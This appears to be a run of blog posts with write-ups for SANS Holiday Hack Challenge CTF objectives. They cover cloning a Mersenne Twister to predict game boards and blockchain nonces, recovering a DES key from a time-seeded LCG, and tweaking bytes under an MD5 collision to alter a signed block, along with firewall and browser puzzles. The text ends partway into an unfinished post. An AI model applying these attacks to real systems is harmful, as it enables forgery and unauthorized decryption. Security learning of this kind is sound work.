+----+-----------------------+
| 1 | /krampus/0f5f510e.png |
| 2 | /krampus/1cc7e121.png |
| 3 | /krampus/439f15e6.png |
| 4 | /krampus/667d6896.png |
| 5 | /krampus/adb798ca.png |
| 6 | /krampus/ba417715.png |
+----+-----------------------+

Prepending the file names from the exfiltrated table with the site’s URL will finally reveal the paper scraps. Once you download and reassemble all of them, you can read the full text of the letter and answer the objective.

wget https://studentportal.elfu.org/krampus/0f5f510e.png
wget https://studentportal.elfu.org/krampus/1cc7e121.png
wget https://studentportal.elfu.org/krampus/439f15e6.png
wget https://studentportal.elfu.org/krampus/667d6896.png
wget https://studentportal.elfu.org/krampus/adb798ca.png
wget https://studentportal.elfu.org/krampus/ba417715.png

What is the name of Santa’s cutting-edge sleigh guidance system?:

Super Sled-o-matic

Blockchain Investigation Part 1

Sun, 27 Dec 2020 00:00:00 +0100

At first glance, this seems like a tough one, so I go to talk with Tangle Coalbox in the Speaker Unpreparedness Room to get some help.

First though, he needs my help with his SnowBall Game terminat. He says that people were solving it on IMPOSSIBLE level, which should really be impossible:

Howdy Boss. You look a tad flushed. Can I get you some water from the vending machine? I’m still looking into the Snowball Game like you asked. I read the write-up of the test completed earlier this summer with the web socket vulnerabilities. I was able to complete the Easy level, but the Impossible level is, umm… I’d call it impossible, but I just saw someone beat it! Is it possible that the name a player provides influences how the forts are laid out? Oh, oh, maybe if I feed a Hard name into an Easy game I can manipulate it! UGH! on Impossible, the best I get are rejected player names in the page comments… maybe that’s useful? I’ll have to re-watch Tom Liston’s talk again ( LINK). Thanks for all the tips and encouragement Santa!

It seems I am tasked with solving the game on IMPOSSIBLE difficulty to see how the others have done it. Following Tangle’s advice, I watch the KringleCon talk by Tom Liston on PRNGs that offers essential information. To get started, I click on the machine which pops up the below welcome screen. I make sure to read the instructions very carefully, at least twice:

Levels Easy & Medium are indeed quite simple to solve without any trickery. It gets interesting once I start playing with the input box for my Name: this value is used as a seed for a random generator that creates the board. The same value always results in the same board setup.

On IMPOSSIBLE difficulty this value is redacted but I think there is a way I may try to predict it using the script from Tom Liston’s talk. To get to the redacted value I need a certain amount of random numbers generated to clone the internal state of the Mersenne Twister that’s used as the generator. Quite unexpectedly, there is a dump of discarded random values in the game’s page source:

Next I formulate the below plan to solve it on IMPOSSIBLE difficulty:

Start a new game on IMPOSSIBLE difficulty
Grab discarded random values from the HTML source
Feed these values to a modified version of Tim’s scipt to predict next value
Start a new game on EASY mode with the predicted number from step #2
Verify that both open games have identical setup by comparing your side of the table
Solve game on Easy mode manually, then replay it on the other game hitting only known cells
Collect hints from Tangle

The code I wrote is based on Tim’s python code, with the main changed to:

1if __name__ == "__main__":
2 my_random = mt19937(0)
3 with open("random.txt") as fp:
4 i = 0
5 for line in fp.readlines():
6 my_random.MT[i] = untemper(int(line))
7 i+=1
8 print(f"Next int: {my_random.extract_number()}")

First it creates a new instance of the Mersenne Twister, then loads the discarded random values from a file called random.txt and uses them to clone the internal state of the generator used to create the game board. Finally, it generates the next random number which is used to start a new game on EASY level so that I can figure out the cells I need to hit on IMPOSSIBLE:

Finally, Tangle is ready to share his hints:

Wow, it really was all about abusing the pseudo-random sequence! I’ve been thinking, do you think someone could try and cheat the Naughty/Nice Blockchain with this same technique? I remember you told us about how if you have control over to bytes in a file, it’s easy to create MD5 hash collisions. But the nonce would have to be known ahead of time. We know that the blockchain works by “chaining” blocks together. There’s no way you know who could change it without messing up the chain, right Santa? I’m going to look closer to spot if any of the blocks have been changed. If Jack was able to change the block AND the document without changing the hash… that would require a very UNIque hash COLLision. Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It’s like some sort of evil game to him. I think I need to review my Human Behavior Naughty/Niceness curriculum again.

I also get some useful links from him:

GitHub repo about MD5 Hash Collisions
GitHub repo about MD5 & SHA-1 cryptanalysis
Presentation on Hash Collisions Exploitations
KringleCon Talk from Prof. Qwerty Petabyte on Working with the Official Naughty/Nice Blockchain…

For some extra hints I stop by in Santa’s office to talk with Tinsel Upatree:

Howdy Santa! Just guarding the Naughty/Nice list on your desk. Santa, I don’t know if you’ve heard, but something is very, very wrong… We tabulated the latest score of the Naughty/Nice Blockchain. Jack Frost is the nicest being in the world! Jack Frost!?! As you know, we only really start checking the Naughty/Nice totals as we get closer to the holidays. Out of nowhere, Jack Frost has this crazy score… positive 4,294,935,958 nice points! No one has EVER gotten a score that high! No one knows how it happened. Most of us recall Jack having a NEGATIVE score only a few days ago… Worse still, his huge positive score seems to have happened way back in March. Our first thought was that he somehow changed the blockchain - but, as you know, that isn’t possible. We ran a validation of the blockchain and it all checks out. Even the smallest change to any block should make it invalid. Blockchains are huge, so we cut a one minute chunk from when Jack’s big score registered back in March. You can get a slice of the Naughty/Nice blockchain on your desk. You can get some tools to help you here. Tangle Coalbox, in the Speaker UNPreparedness room. has been talking with attendees about the issue.

Next I download the tools mentioned by Tinsel as well as the blockchain file which is necessary for solving the main objective.

The two pem files are not important so much for Objective11a. The bash script, and the Dockerfile are there just for the easy setup of an environment where the python script runs without dependency issues. With the provided python script I can interact with the blockchain.dat file and extract all the information needed for solving the objective.

The instructions tell me that the blockchain stops at index 129996, and my task is to predict the nonce for block 130000 and submit its HEX value in the badge. This naturally reminds me of the SnowBall Game, so I figure that the same script may be useful here too. I proceed to extract the nonce values from all the blocks and notice that there are roughly 1500 blocks altogether, plenty more than 624, so that’s good! Meanwhile, I also notice that these nonce values are much larger than the random values that I dealt with in the SnowBall Game. In fact, that game used 32 bit random integers, while this blockchain uses 64 bit integers as nonces.

Next I try to modify Tom Liston’s script to produce 64 bits random values instead of 32 bits. I eventually succeed in this following an example. However, the nonce it generates is not accepted. Next I get in touch with some fellow KringleCon attendees via Discord to discuss my approach to try see if I am in a rabbit hole or not.

Eventually I realize that the script does not need to be modified, as the sstem that created the blockchain also used a PRNG that produces 32 bit long random values. Rather, the nonce value in each block is constructed from two independent random values. Part of the challenge is to figure out how they are combined to turn them into a 64 bit random values.

Next I tweak the naughty_nice.py script to take the first 312 nonce values and feed them into the script from Tom Liston’s by splitting each nonce in half. By trial and error I figure out the correct method that’s implemented below:

 1c2 = Chain(load=True, filename='blockchain.dat')
 2
 3twister, i = mt19937(0), 0
 4for block in c2.blocks[:312]:
 5 twister.MT[i] = untemper(block.nonce & 0x00000000FFFFFFFF); i+=1
 6 twister.MT[i] = untemper(block.nonce >> 32); i+=1
 7
 8for block in c2.blocks[312:]:
 9 print(f"\nReal nonce: \t{block.nonce} at index {block.index}")
10 print(f"Predicted: \t{get_next(twister)}")
11
12for i in range(4):
13 print(f"Hex-#{i+129997}: \t{hex(get_next(twister))}")

The output shows that starting from block 313, all of the nonce values from the blocks are identical with the value produced by the cloned generator I created. Finally, I take the hex value for block 130000 and submit it in my badge, which is accepted:

 1...
 2Real nonce: 7556872674124112955 at index 129995
 3Predicted: 7556872674124112955
 4Real nonce: 16969683986178983974 at index 129996
 5Predicted: 16969683986178983974
 6
 7Hex-#129997: 0xb744baba65ed6fce
 8Hex-#129998: 0x1866abd00f13aed
 9Hex-#129999: 0x844f6b07bd9403e4
10Hex-#130000: 0x57066318f32f729d

On to the final objective! 😎

Recover Cleartext Document

Sat, 28 Dec 2019 00:00:00 +0100

Hidden in the Mongo

Instructions in your personal badge:

The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can’t send you the source, but we do have debug symbols that you can use. Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC. What is the middle line on the cover page? (Hint: it’s five words) For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.

Links in the objective:

First is a Windows executable, which can be used to perform encryption on arbitrary input and observe output. The second is a file for storing debugging information about a the encryption tool itself (this will help you mitigate the lack of access to its source code), and finally the encrypted document which you need to decipher.

For further hints you may approach Holly Evergreen in the NetWars room, but he will only reveal them if you help him solve some issues with his terminal first!

Hey! It’s me, Holly Evergreen! My teacher has been locked out of the quiz database and can’t remember the right solution. Without access to the answer, none of our quizzes will get graded. Can we help get back in to find that solution? I tried lsof -i, but that tool doesn’t seem to be installed. I think there’s a tool like ps that’ll help too. What are the flags I need? Either way, you’ll need to know a teensy bit of Mongo once you’re in. Pretty please find us the solution to the quiz!

Now, you should click on the terminal near Holly and dive into the console to help him recover the quiz material he is after:

Hello dear player! Won't you please come help me get my wish!
I'm searching teacher's database, but all I find are fish!
Do all his boating trips effect some database dilution?
It should not be this hard for me to find the quiz solution!
Find the solution hidden in the MongoDB on this system.
elf@e496ebfb254b:~$ netstat -a -n -o
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:12121 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:54372 127.0.0.1:12121 TIME_WAIT timewait (7.43/0/0)
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 168482939 /tmp/mongodb-12121.sock
elf@e496ebfb254b:~$ mongo --port 12121
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
>

So the hint in the terminal says that the database backend is MongoDB, and so you should first use netstat to find out the port on which the mongod is listening on, then connect to it. Now you are in the mongo shell ready to poke around to find the answer:

> show dbs
admin 0.000GB
config 0.000GB
elfu 0.000GB
local 0.000GB
test 0.000GB
> use elfu
switched to db elfu
> show tables
bait
chum
line
metadata
solution
system.js
tackle
tincan
> db.solution.find()
{ "_id" : "You did good! Just run the command between the stars: ** db.loadServerScripts();displaySolution(); **" }
> db.loadServerScripts()
> displaySolution()
.
__/ __
/
/.'o'.
.*.'.
 .'.'*'.
*'.o.'.*.
.'.*.'.'.*.
 .o.'.*.'.*.'.
[_____]
___/
Congratulations!!

So with this the technical challenge in Holly’s terminal is solved, he is ready to provide you with some useful hints for solving Objective:

Woohoo! Fantabulous! I’ll be the coolest elf in class. On a completely unrelated note, digital rights management can bring a hacking elf down. That ElfScrow one can really be a hassle. It’s a good thing Ron Bowes is giving a talk on reverse engineering! That guy knows how to rip a thing apart. It’s like he breathes opcodes!

So his best hint points you to a youtube video from Ron Bowes who has a KringleCon talk. This is definitely a very good hint, be sure to watch it!

Reverse crypto - Main Objective

To kick off the crypto fun, let’s call the elfscrow.exe right away, to see how it can be used.

C:\Users\admin\Desktop\elfscrow> elfscrow.exe
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
Are you encrypting a file? Try --encrypt! For example:
elfscrow.exe --encrypt <infile> <outfile>
You'll be given a secret ID. Keep it safe! The only way to get the file
back is to use that secret ID to decrypt it, like this:

 elfscrow.exe --decrypt --id=<secret_id> <infile> <outfile>

You can optionally pass --insecure to use unencrypted HTTP. But if you
do that, you'll be vulnerable to packet sniffers such as Wireshark that
could potentially snoop on your traffic to figure out what's going on!

This last sentence seems to invite you to do exactly what it warns against. While running the program with the –insecure flag and sniffing network traffic with Wireshark, I could not find any vulnerabilities however. It seems that the key ID, useful to retrieve it from the server, is generated quite unpredictably. Thus, instead of attacking the key ID you should attack the algorithm that generates the key for encryption/decryption.

As mentioned in the objective, the file you need to decrypt was encrypted sometime between 7-9pm on December 6th, 2019 UTC. As such, the plan was to gather enough information to generate the same key that was used to encrypt the file. For this I had to do some further reconnaissance in IDA Pro, so I fired it up with the provided .pdb file.

After a few minutes of poking around in the GUI, I did a string search for generate and found the sub-routine called generate_key that seemed interesting. I spent some time studying it and find the highlighted parts quite interesting on the below screenshot:

It seems that in order to generate the key, it uses the timestamp as a seed to the random number generator. Pretty useful observation. Next I notice a loop, that executes 8 times and generates 8 bits of random data on each iteration, so this suggests that it may be using DES encryption algorithm and thus a 64 bit key. To generate the random key, this sub-routine makes a call to super_secure_random on each iteration of the loop, as seen on the below figure:

This sub-routine has some constants, for which I do some Google searches to reveal that these are used in Linear Congruential Generator algorithms (LCG for short - link). Then I searched for some example implementations of this algorithm, and found a very useful website, which has the same algorithm implemented in many different languages. As I like to work with Go, I decided to choose this implementation and go from there.

To see if my code is correct, when it generates a key based on a given seed, I execute the elfscrow.exe once more and noted the values in its output:

C:\> elfscrow.exe --insecure --encrypt elfscrow.pdb encrypted_elfscrow.pdb.enc
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
Our miniature elves are putting together random bits for your secret key!
Seed = 1577895929 << NOTE THIS
Generated an encryption key: 09f384150bdb41ba (length: 8) << AND THIS
...

Next, I fed the same seed into the algorithm I put together to generate a key for DES, and observed the same key output:

~/elfscrow ▶ go run lcg.go
Seed: 1577895929
Key: 09f384150bdb41ba

It seems that the key, generated by my code, is the same that was output in the windows command line terminal after executing elfscrow.exe on a sample file. This is good news! Next, I looked on the Internet for an example implementation of DES decryption in Go and found a good solution on StackOverflow… as usual!

Finally, I integrated this Go code for DES decryption with my key generation Go code, and created a tool that loops through every second of the given time interval, generates the corresponding key and uses it for decrypting the given file. If the resulting plain-text is a valid PDF - the plain-text result starts with %PDF - it will save the result to a pdf file on disk. The program takes around 2-3 minutes to finish iterating through every second of the given time interval, but eventually it successfully recovers the pdf file. The timestamp for when the encryption happened is:

12/06/2019 @ 8:20pm (UTC) - 1575663650

This code can be found in a Github repo I created.

~/elfscrow ▶ go run des-go.go
Key-Used: b5ad6a321240fbec - TimeStamp: 1575663650 - First-4-Chars: %PDF...
~/elfscrow ▶

After running this program, it will save the pdf in the same directory where it is executed with the decrypted file. Opening the pdf we can finally recover the solution to this objective:

Machine Learning Sleigh Route Finder

Blockchain Investigation Part 2

Sun, 27 Dec 2020 00:00:00 +0100

This final objective includes no new elves to talk with, so I have to rely on previous intel from Tinsel and Tangle who shared quite a lot already as part of Objective11a.

The main new piece of information for 11b is the SHA256 of the block that I need to inspect0 closer. It’s suspected that Jack has somehow managed to do the impossible and modify its content without breaking the blockchain. The hash of this block is:

58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f.

This final objective mentions that Jack possibly got away with this just by tweaking 4 bytes, so my focus is now to figure out where those 4 bytes may be hidingso that I can try to undo these changes.

There is a small amount of new information in the badge hints section:

Shinny Upatree swears that he doesn’t remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting.
If Jack was somehow able to change the contents of the block, AND the document without changing the hash… that would require a very UNIque hash COLLision.

These two hint at the fact that Jack has made two modifications, one in the block data structure and one in the attached PDF itself; and secondly that he has may have used the UNICOLL technique which has some very special properties when applied to MD5. The hint about UNICOLL only clicked for me after going through the lengthy slide deck from this presentation by Ange Albertini.

Armed with this knowledge I set out to inspect the block in question using the provided python script. I write a bit of code to loop through the whole chain until the block with correct SHA256 is found and then print it to the terminal and save it to file as block129459.dat:

1for i in range(len(chain.blocks)):
2 h = SHA256.new()
3 h.update(chain.blocks[i].block_data_signed())
4 if h.hexdigest() == '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f':
5 print(chain.blocks[i])
6 chain.save_a_block(i, f"block{chain.blocks[i].index}.dat")

Below is a redacted version of this block as printed to terminal:

 1root@c288761e5038:/usr/src/app# python3 naughty_nice.py
 2Chain Index: 129459
 3 Nonce: a9447e5771c704f4
 4 PID: 0000000000012fd1
 5 RID: 000000000000020f
 6 Document Count: 2
 7 Score: ffffffff (4294967295)
 8 Sign: 1 (Nice)
 9 Data item: 1
10 Data Type: ff (Binary blob)
11 Data Length: 0000006c
12 Data: b'ea4...8d8f09'
13 Data item: 2
14 Data Type: 05 (PDF)
15 Data Length: 00009f57
16 Data: b'255...019a43'
17 Date: 03/24
18 Time: 13:21:41
19 PreviousHash: 4a91947439046c2dbaa96db38e924665
20 Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
21 Signature: b'MJIx...MCtHfw=='

There were several lines that stand at immediately as suspicious:

Line 7 is suspicious because of the maxed-out integer value. In the hints a different value is mentioned by Tinsel: 4,294,935,958 which corresponds to FFFF8596 which has two bytes difference from FFFFFFFF. However, this turns out to be a dead-end after realizing that this is not compatible with what I’ve learnt about the UNICOLL technique.
Line 8 is suspicious because Jack does not seem to be a trustworthy character, so perhaps he may have flipped the Nice/Naughty switch in the block to cheat the system. This suspicion is confirmed later when I extract the PDF and unlock the hidden content originally written by Shinny as a report on Jack’s Naughty behaviour!
Lines 10-11-12 are suspicious just because no other block contained two files, but I cannot immediately explain why this is significant
Line 17 is suspicious because I think that Jack might have tweaked the date to hide his activity and switched the month from December 24 to March 24. However, this seems to be a dead-end as well because it’s inconsistent with the UNICOLLL technique.

Next I set out to inspect the PDF document closer, which I extract to filesystem using the provided python script. After opening it in HexFiend I do not find anything suspicious at first, so I go back to the slide-deck from Ange to see if I can find some clues there, and I sure do:

This slide shows a trick that can be used to tweak contents of the PDF by changing which object or page is referenced. I try the same on the extracted PDF, and it’s content changes dramatically. It goes from a glowing report on Jack to this:

Earlier today, I saw this bloke Jack Frost climb into one of our cages and repeatedly kick a wombat.
I don’t know what’s with him... it’s like he’s a few stubbies short of a six-pack or somethin’.
I don’t think the wombat was actually hurt... but I tell ya, it was more ‘n a bit shook up.
Then the bloke climbs outtathe cage all laughin’ and cacklin’ like it was some kind of bonza joke.
Never in my life have I seen someone who was that bloody evil...
- ”Quote from a Sidney (Australia) Zookeeper
I have reviewed a surveillance video tape showing the incident and found that it does, indeed, show that
Jack Frost deliberately traveled to Australia just to attack this cute, helpless animal. It was appalling.
I tracked Frost down and found him in Nepal. I confronted him with the evidence and, surprisingly, he seems
to actually be incredibly contrite. He even says that he’ll give me access to a digital photo that shows his
“utterly regrettable” actions. Even more remarkably, he’s allowing me to use his laptop to generate this
report – because for some reason, my laptop won’t connect to the WiFi here.
He says that he’s sorry and needs to be “held accountable for his actions.” He’s even said that I should
give him the biggest Naughty/Nice penalty possible. I suppose he believes that by cooperating with me,
that I’ll somehow feel obliged to go easier on him. That’s not going to happen... I’m WAAAAY smarter than old Jack.
Oh man... while I was writing this up, I received a call from my wife telling me that one of the pipes inour
house back in the North Pole has frozen and water is leaking everywhere. How could that have happened?
Jack is telling me that I should hurry back home. He says I should save this document and then he’ll go ahead and submit the full report for me.
I’m not completely sure I trust him, but I’ll make myself a note and go in and check to make absolutely sure he submits this properly.
Shinny Upatree3/24/2020

Note: on MacOS I have to open this PDF in either Firefox or Chrome, because the built-in reader detects some corruption that prevents it from opening properly.

Once I have the hidden content I am sure that this is one of the 4 bytes that Jack has tweaked in the block.

Next I open the whole block in HexFiend to see it in its entirety. I spend many hours trying to find the two remaining bytes that Jack had tweaked. I am also in touch with some fellow HHC attendees who provide some great insight to help me avoid dead ends in my endeavors.

Eventually what helps me tremendously is the slide-deck from Ange and a tip from joergen to remember the 64 byte chunk sizes for MD5. This information combined with slide 113 eventually helps me find the remaining two bytes:

Turns out, due to some cryptographic properties of MD5, if you change some byte in Chunk N to +1, then you need to change the byte on the same location in Chunk N+1 to keep the MD5 hash the same. Finally, it clicks why there is a random binary file attached to the block. It is the extra random garbage that helps with the flipping of the Sign from Naughty to Nice while keeping the hash of the whole block unchanged.

Next I go back to HexFiend with the whole block open and modify the 4 bytes using this rule:

Tweaks explained:

byte 73 was 0x31 and I set it to 0x30 so that it becomes Naughty again
to keep the MD5 from changing, I then had to increase byte 137 by 1 from 0xD6 to 0xD7
byte 265 was 0x32 and I changed it to 0x33 to fix the PDF document
to keep the MD5 from changing, I then had to decrease byte 329 from 0x1C to 0x1B

Next, I use the docker image to get the MD5 and SHA256 values of the fixed block, and to my big surprise the MD5 remains unchanged:

1root@c288761e5038:/usr/src/app# md5sum block129459.dat
2b10b4a6bd373b61f32f4fd3a0cdfbf84
3root@c288761e5038:/usr/src/app# sha256sum block129459.dat
4fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb

I then submit the SHA256 hash of the fixed block fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb and it is accepted as correct! 😎 🎉

Finally, I go up to the balcony in Santa’s Office to complete the narrative and join the party:

Open the Sleigh Shop Door

Sat, 28 Dec 2019 00:00:00 +0100

IPs or Tables? What?!

Instructions in your personal badge:

Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny? For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.

Once you teleport to the Student Union building through the air-vents system, you can get further hints from Kent, but first he needs your help with something quite urgent!

OK, this is starting to freak me out! Oh sorry, I’m Kent Tinseltooth. My Smart Braces are acting up. Do… Do you ever get the feeling you can hear things? Like, voices? I know, I sound crazy, but ever since I got these… Oh! Do you think you could take a look at my Smart Braces terminal? I’ll bet you can keep other students out of my head, so to speak. It might just take a bit of Iptables work.

So after you get the hints from Kent about his problem, you can investigate further in the terminal device next to him:

Inner Voice: Kent. Kent. Wake up, Kent.
Inner Voice: I'm talking to you, Kent.
Kent TinselTooth: Who said that? I must be going insane.
Kent TinselTooth: Am I?
Inner Voice: That remains to be seen, Kent. But we are having a conversation.
Inner Voice: This is Santa, Kent, and you've been a very naughty boy.
Kent TinselTooth: Alright! Who is this?! Holly? Minty? Alabaster?
Inner Voice: I am known by many names. I am the boss of the North Pole. Turn to me and be hired after graduation.
Kent TinselTooth: Oh, sure.
Inner Voice: Cut the candy, Kent, you've built an automated, machine-learning, sleigh device.
Kent TinselTooth: How did you know that?
Inner Voice: I'm Santa - I know everything.
Kent TinselTooth: Oh. Kringle. *sigh*
Inner Voice: That's right, Kent. Where is the sleigh device now?
Kent TinselTooth: I can't tell you.
Inner Voice: How would you like to intern for the rest of time?
Kent TinselTooth: Please no, they're testing it at srf.elfu.org using default creds, but I don't know more. It's classified.
Inner Voice: Very good Kent, that's all I needed to know.
Kent TinselTooth: I thought you knew everything?
Inner Voice: Nevermind that. I want you to think about what you've researched and studied. From now on, stop playing with your teeth, and floss more.
Kent TinselTooth: Oh no, I sure hope that voice was Santa's.
Kent TinselTooth: I suspect someone may have hacked into my IOT teeth braces.
Kent TinselTooth: I must have forgotten to configure the firewall...
Kent TinselTooth: Please review /home/elfuuser/IOTteethBraces.md and help me configure the firewall.
Kent TinselTooth: Please hurry; having this ribbon cable on my teeth is uncomfortable.
elfuuser@b17a1f97bf17:~$ cat /home/elfuuser/IOTteethBraces.md
# ElfU Research Labs - Smart Braces
### A Lightweight Linux Device for Teeth Braces
### Imagined and Created by ElfU Student Kent TinselTooth
This device is embedded into one's teeth braces for easy management and monitoring of dental status. It uses FTP and HTTP for management and monitoring purposes but also has SSH for remote access. Please refer to the management documentation for this purpose.
## Proper Firewall configuration:
The firewall used for this system is `iptables`. The following is an example of how to set a default policy with using `iptables`:
sudo iptables -P FORWARD DROP
The following is an example of allowing traffic from a specific IP and to a specific port:
sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT
A proper configuration for the Smart Braces should be exactly:
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
elfuuser@b17a1f97bf17:~$

In order to solve this technical challenge, you need to follow the instructions at the end of the IOTteethBraces.md file and implement the necessary IPTables rules to stop whoever is messing with Kent’s smart braces. I found this task to be quite straightforward, so I will just list the necessary commands below:

elfuuser@4f938dab4458:~$ sudo iptables -P INPUT DROP
elfuuser@4f938dab4458:~$ sudo iptables -P OUTPUT DROP
elfuuser@4f938dab4458:~$ sudo iptables -P FORWARD DROP
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -s 172.19.0.225 -p tcp --dport 22 -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
elfuuser@4f938dab4458:~$ sudo iptables -A INPUT -i lo -j ACCEPT
elfuuser@4f938dab4458:~$ Kent TinselTooth: Great, you hardened my IOT Smart Braces firewall!

Finally, the additional hints from Kent are revealed:

Oh thank you! It’s so nice to be back in my own head again. Er, alone. By the way, have you tried to get into the crate in the Student Union? It has an interesting set of locks. There are funny rhymes, references to perspective, and odd mentions of eggs! And if you think the stuff in your browser looks strange, you should see the page source… Special tools? No, I don’t think you’ll need any extra tooling for those locks. BUT - I’m pretty sure you’ll need to use Chrome’s developer tools for that one. Or sorry, you’re a Firefox fan? Yeah, Safari’s fine too - I just have an ineffible hunger for a physical Esc key. Edge? That’s cool. Hm? No no, I was thinking of an unrelated thing. Curl fan? Right on! Just remember: the Windows one doesn’t like double quotes. Old school, huh? Oh sure - I’ve got what you need right here..

HODOR!?! - Main Objective

To kick off solving of this main objective, let’s go over to Shinny by the door to the right and talk with him:

Psst - hey! I’m Shinny Upatree, and I know what’s going on! Yeah, that’s right - guarding the sleigh shop has made me privvy to some serious, high-level intel. In fact, I know WHO is causing all the trouble. Cindy? Oh no no, not that who. And stop guessing - you’ll never figure it out. The only way you could would be if you could break into my crate, here. You see, I’ve written the villain’s name down on a piece of paper and hidden it away securely!

Next you should click on the crate next to the door, in the corner, and open it in a new tab: https://sleighworkshopdoor.elfu.org/. This will open web interface with 10 locks you need to open for the door to open up.

They all look like the one above. Each lock also contains some short hint for solving it. As Kent noted, you need to get comfortable with the Developer tools of your chosen browser client. I use Google Chrome now, so this solution will include instruction for that environment.

Lock 1

I locked the crate with the villain’s name inside. Can you get it out?

Hint: Look into the console of your browser and see the code appear there:

Lock 2

Some codes are hard to spy, perhaps they’ll show up on pulp with dye?

Hint: Open print preview, and see the code appear on the page next to the 2nd lock:

Lock 3

This code is still unknown; it was fetched but never shown.

Hint: Open the Developer tools and check the Network tab for any resources fetched, you will see a png file that holds the code.

Lock 4

Where might we keep the things we forage? Yes, of course: Local barrels!

Hint: Pretty straightforward hint, go to Developer tools, Local storage and look for the code there.

Lock 5

Did you notice the code in the title? It may very well prove vital.

Hint: Hover over the browser tab, to reveal its title and the code hiding in the 2nd line. Alternatively, you can check the HTML source and browse to the <title> attribute to see the code.

Lock 6

In order for this hologram to be effective, it may be necessary to increase your perspective.

Hint: This was the first lock that was not so straightforward. There is some help in the hint that can be clicked under the text instruction. Also note the colourful card next to the lock with some characters on it already. It is likely that you need to increase the perspective property of that element in CSS editor, as pointed out in the hint. Some value in the thousands should be high enough to be able to read the code on the hologram card.

Lock 7

The font you’re seeing is pretty slick, but this lock’s code was my first pick. In the font-family css property, you can list multiple fonts, and the first available font on the system will be used.

Hint: You should check the font-family property of the text which conveys the hint, and see the code hidden there…

Lock 8

In the event that the .eggs go bad, you must figure out who will be sad. Google: “[your browser name] view event handlers”

Hint: You need to check the events related to the .eggs span in the hint paragraph. It hides the code you need.

Lock 9

This next code will be unredacted, but only when all the chakras are :active. It is a css pseudo class that is applied on elements in an active state. Google: “[your browser name] force psudo classes”

Hint: For this lock, you need to add the :active: property to all chakra spans, so they each reveal some fragment of the code.

Lock 10

Oh, no! This lock’s out of commission! Pop off the cover and locate what’s missing.

Hint: For this lock, you need to learn how to drag and drop HTML elements in the DOM tree explorer. Once you locate the <div> for the lock’s cover, move it somewhere else to peek under it, and notice on the PCB board’s right edge the code. Write it down, them put the cover back and type it in to solve this lock.

However, when you type in the code and double-checked it twice to make sure there are no typos, you will notice that it wouldn’t unlock. Upon further investigation you can see an error message in the console output:

899c65f3-6ffa-4b5b-8214-73e08788bc80:1 Error: Missing macaroni!
at HTMLButtonElement.<anonymous> (899c65f3-6ffa-4b5b-8214-73e08788bc80:1)
(anonymous) @ 899c65f3-6ffa-4b5b-8214-73e08788bc80:1

So the lock seems to want some macaroni. If you search for it in the HTML page source you will find a div:

Drag and drop this into the last lock’s div to fix the error. Tip: you will need to this this twice more to fix two errors of the same kind: missing swab and missing gnome. Once these errors are fixed you can click UNLOCK and solve the challenge. The answer:

The Tooth Fairy

Acknowledgements

Sun, 10 Jan 2021 20:20:20 +0100

So that’s it! I just finished the Holiday Hack Challenge 2020 completely!

This is an especially rewarding feeling to have pulled this off for the 2nd year in a row. 2020 has been quite an unusual year, to say the least, for various reasons, good or bad. But this CTF at the very end of it is probably one of the most amazing ways to close it off on such a positive note.

Firstly, I would like to thank the folks at CounterHack and the SANS Institute for putting it together. Itás been such a tumultuous year, yet thez delivered such a high quality product for us. I am especially impressed by the smooth progression in the difficulty of the objectives, and of course all the creativity that went into creating them. Just simply amazing!

Secondly, I want to say thanks to all the peoople on Discord who helped me with gentle nudges in desperate times. I probably would have lost much more hair and finished it much later, if it weren’t for you gals:

joergen
shahla
john_r2
legacyboy
tw2k

Last but not least, I want to thank my family who allowed me to work on these objectives throughout most of the holiday season… 😇

Already looking forward to what HHC 2021 will have in store!

Poisoned Weather Data

Sat, 28 Dec 2019 00:00:00 +0100

Zeek no more!

Instructions in your badge:

Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa’s flight mapping software. Block the 100 offending sources of information to guide Santa’s sleigh through the attack. Submit the Route ID (“RID”) success value that you’re given. For hints on achieving this objective, please visit the Sleigh Shop and talk with Wunorse Openslae.

Links from hint:

Once you enter the Sleigh Shop Door, you will be greeted with these bunch:

The Tooth Fairy greets you with the following:

